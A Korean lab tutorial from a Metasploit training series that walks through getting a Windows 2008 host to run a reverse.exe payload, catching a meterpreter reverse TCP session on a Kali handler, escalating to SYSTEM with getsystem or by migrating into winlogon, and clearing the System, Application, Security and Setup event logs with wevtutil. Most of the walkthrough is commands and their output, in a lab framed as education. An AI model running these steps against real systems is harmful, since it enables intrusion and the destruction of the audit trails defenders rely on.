Metasploit - 10. 취약점 발견 및 공격 (Window2008 로그 삭제)

Metasploit - 10. 취약점 발견 및 공격 (Window2008 로그 삭제)

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.

 

 

[실습 시스템] Kali Linux, Firewall, Window2008

 

 

 - Reverse TCP를 이용하여 Window2008 로그 내용을 삭제할 수 있는지 테스트한다.

 

 

[실습 단계]

 

스캔 -> 공격 타겟 선정 -> 백도어 구성 -> 공격 코드 파일 생성 -> 공격 타겟에 공격 코드 파일 유입 실시

 

-> 백도어 실행 -> 공격 코드 파일 실행 -> 제어권 획득

 

 

 

Ex1) Window2008 로그 확인

 

 - 공격을 하기 이전 Window2008 로그 내용을 확인하도록 한다.

 

@ Window2008

 

시작 -> 관리도구 -> 이벤트 뷰어 -> Windows 로그

 

 

 

 

Ex2) Window2008 공격 코드(악성 코드) 유입 실시

 

 - Window2008에서 Kali Linux으로부터 'reverse.exe' 파일을 다운로드하도록 한다.

 

@ Window2008

 

실행(윈도우 키 + R) -> \\192.168.20.50\share

 

 

 

'reverse.exe' 파일 바탕 화면에 복사 실시

 

 

 

 

 

'reverse.exe' 파일 복사 완료

 

 

 

 

 

Ex3) 백도어 'reverse_resource.rc' 실행

 

@ Kali Linux

 

root@kali:~# cd /root/bin

root@kali:~/bin# msfconsole -r reverse_resource.rc
                                                 

  Metasploit Park, System Security Interface
  Version 4.0.5, Alpha E
  Ready...
  > access security
  access: PERMISSION DENIED.
  > access security grid
  access: PERMISSION DENIED.
  > access main security grid
  access: PERMISSION DENIED....and...
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!

Payload caught by AV? Fly under the radar with Dynamic Payloads in
Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.5-2016010401                   ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing reverse_resource.rc for ERB directives.
resource (reverse_resource.rc)> use exploit/multi/handler
resource (reverse_resource.rc)> set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
resource (reverse_resource.rc)> set LHOST 192.168.20.50
LHOST => 192.168.20.50
resource (reverse_resource.rc)> set ExitSession false
ExitSession => false
resource (reverse_resource.rc)> exploit -j -z
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.20.50:4444
[*] Starting the payload handler...

msf exploit(handler) >

 

 

 

 

Ex4) 'reverse.exe' 공격 코드 파일 실행

 

@ Window2008

 

 

 

 

 

 

 

Ex5) 백도어 'reverse_resource.rc' 상태 확인

 

 - Window2008이 Kali Linux에 연결되었는지 확인한다.

 

@ Kali Linux

 

msf exploit(handler) >

[*] Sending stage (1188911 bytes) to 192.168.20.201
[*] Meterpreter session 1 opened (192.168.20.50:4444 -> 192.168.20.201:1037) at 2016-06-03 18:37:08 +0900

msf exploit(handler) >

msf exploit(handler) > sessions -i

Active sessions
===============

  Id  Type                   Information                      Connection
  --  ----                   -----------                      ----------
  1   meterpreter x64/win64  WIN2008\Administrator @ WIN2008  192.168.20.50:4444 -> 192.168.20.201:1037 (192.168.20.201)

 

 

 - Window2008 제어권 획득 실시

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WIN2008\Administrator

 

 

 - 권한 상승 실시 (만약, 안된다면 게시물 하단 '참고' 참조)

 

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > shell
Process 2636 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>

 

C:\Windows\system32>wevtutil.exe el
wevtutil.exe el
Analytic
Application
~ 중간 생략 ~

 

Security
Setup
System
TabletPC_InputPanel_Channel
ThinPrint Diagnostics
WINDOWS_MP4SDECD_CHANNEL
WMPSetup
WMPSyncEngine
Windows PowerShell
microsoft-windows-RemoteDesktopServices-RemoteDesktopSessionManager/Admin

 

 

C:\Windows\system32>wevtutil.exe cl "System"
wevtutil.exe cl "System"

 

C:\Windows\system32>wevtutil.exe cl "Application"
wevtutil.exe cl "Application"

 

C:\Windows\system32>wevtutil.exe cl "Security"
wevtutil.exe cl "Security"

 

C:\Windows\system32>wevtutil.exe cl "Setup"
wevtutil.exe cl "Setup"

 

C:\Windows\system32> (ctrl+c)
Terminate channel 1? [y/N]  y
meterpreter >
meterpreter > quit
[*] Shutting down Meterpreter...

[*] 192.168.20.201 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(handler) >
msf exploit(handler) > quit
root@kali:~/bin#
root@kali:~/bin# cd
root@kali:~#

 

 

 

Ex4) Window2008 로그 삭제 확인

 

@ Window2008

 

 

'Windows 로그' 폴더 선택 -> F5를 눌러서 새로고침 실시

 

 

 

 

 

[참고] 'getsystem' 명령어로 권한 상승이 안될 경우

 

meterpreter > shell
Process 3060 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>

C:\Windows\system32>wmic process list brief | find "winlogon"
wmic process list brief | find "winlogon"
103          winlogon.exe              13        504        3            6393856  

      

C:\Windows\system32>exit

 

meterpreter > migrate 504
[*] Migrating from 2656 to 504...

[*] Migration completed successfully.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

 

 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)

Metasploit - 제1장 메타스플로잇 (metaspliot)